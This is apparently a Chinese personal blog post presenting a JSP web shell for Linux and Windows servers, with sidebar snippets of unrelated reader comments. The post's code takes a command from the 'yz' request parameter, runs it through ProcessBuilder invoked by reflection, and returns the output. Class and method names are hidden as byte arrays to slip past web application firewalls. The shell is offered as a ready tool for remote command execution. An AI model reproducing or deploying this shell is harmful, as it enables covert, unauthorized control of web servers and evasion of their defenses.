一个绕waf的linux-windows-cmd.jsp
http://www.p2j.cn/?p=1863
园长师傅教我拿反射写,然后自己发挥写了个linux和windows都能用的http://xia0yu.win/linux_win_cmd.jsp.bak
<%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="java.util.List" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.lang.reflect.Method" %> <%@ page import="java.io.BufferedReader" %> <%@ page import="java.io.InputStreamReader" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="java.util.Arrays" %> <%@ page import="java.io.PrintWriter" %> <% Listlist = Arrays.asList(request.getParameter("yz").split("\\s+")); Constructor constructor = Class.forName(new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 80, 114, 111, 99, 101, 115, 115, 66, 117, 105, 108, 100, 101, 114})).getDeclaredConstructor(List.class); constructor.setAccessible(true); Object object = constructor.newInstance(list); Class objectGetclass = object.getClass(); Method startMethod = objectGetclass.getDeclaredMethod(new String(new byte[]{115, 116, 97, 114, 116})); startMethod.setAccessible(true); Object object2 = startMethod.invoke(object); Method getInputStreamMethod = object2.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109})); getInputStreamMethod.setAccessible(true); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader((InputStream) getInputStreamMethod.invoke(object2))); PrintWriter printWriter = response.getWriter(); String str = ""; printWriter.println(" "); while ((str = bufferedReader.readLine()) != null) { printWriter.println(str); } printWriter.println(""); %>
评论:
你是衣冠楚楚的人 而我只是一个打满补丁的猴子
-
小博客一个,没必要伤害她
热门文章
存档
标签
最新评论
- yz
想想你喜欢什么,想做什么,找好一个自己的... - 小屿
@Jahan:testfun1024#p... - Jahan
Hello dear Xia0 i a... - brave
@万:你的手机应该是anroid7.0以... - jhsy
新版的cookie机制应该又变了. 而且... - 小屿
@janto:无兴趣 - janto
新版的这些好像不起作用了,deviceI... - hunk
正在研究,可否发一份新源码?todz$1... - miffy
请问可以加个好友咨询下吗? - vegetableChicken
@Snkrs:我也遇到和你一样的问题了,...
2018-05-22 14:05